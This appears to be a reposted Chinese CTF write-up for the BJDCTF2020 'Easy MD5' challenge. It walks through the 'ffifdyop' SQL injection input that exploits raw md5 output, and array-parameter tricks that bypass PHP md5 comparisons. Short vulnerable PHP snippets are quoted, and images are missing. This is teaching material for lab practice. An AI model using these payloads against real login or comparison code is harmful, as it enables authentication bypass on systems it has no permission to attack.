[BJDCTF2020]Easy MD5

Posted h3zh1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BJDCTF2020]Easy MD5相关的知识,希望对你有一定的参考价值。

[BJDCTF2020]Easy MD5

第一步

绕过:

"select * from ‘admin‘ where password=‘ ".md5($pass,true)." ‘ "

输入:ffifdyop

原因:数据库会把16进制转为ascii解释

如下: flag{welcome}的16进制是0x666c61677b77656c636f6d657d

而我们的md5(ffifdyop) 会返回16进制字符串

这时原来的语句就是:

"select * from ‘admin‘ where password=‘‘ or‘6蒥欓!r,b‘ "

or后面的句子第一个字母是非0打头的数字符,比如为 ‘ 1abc ’ 或者 ‘ -1bde ’都会被认为是true。

以0开头会认为是false.

flag{welcome}16进制是

技术图片

关于16进制和mysql

技术图片

ffifdyop的md5值

技术图片

技术图片

字符串 or ‘1xxx‘

技术图片

以mysql的三目运算举例:

select if( "123", "this_is_true","this_is_false");#返回this_is_true
select if( "0xx", "this_is_true","this_is_false");#返回this_is_false

技术图片

用于题目的实践

我的表里只有一个值

select * from flag where id = 1 and flag = "123" or ‘1xxx‘;#返回表中所有值

select * from flag where id = 1 and flag = "123" or ‘0xxx‘;#返回符合id = 1 and flag = "123"的值,因为or ‘0xxx‘解释为false

技术图片

技术图片

技术图片

第二步

<!--
$a = $_GET[‘a‘];
$b = $_GET[‘b‘];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

这里用数组即可绕过

?a[]=1&b[]=2

技术图片

第三步

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST[‘param1‘]!==$_POST[‘param2‘]&&md5($_POST[‘param1‘])===md5($_POST[‘param2‘])){
    echo $flag;
}

同第二部相同,绕过比较md5的比较用数组

param1[]=1&param2[]=2

技术图片

以上是关于[BJDCTF2020]Easy MD5的主要内容,如果未能解决你的问题,请参考以下文章

buuctf [BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5,[极客大挑战 2019]Knife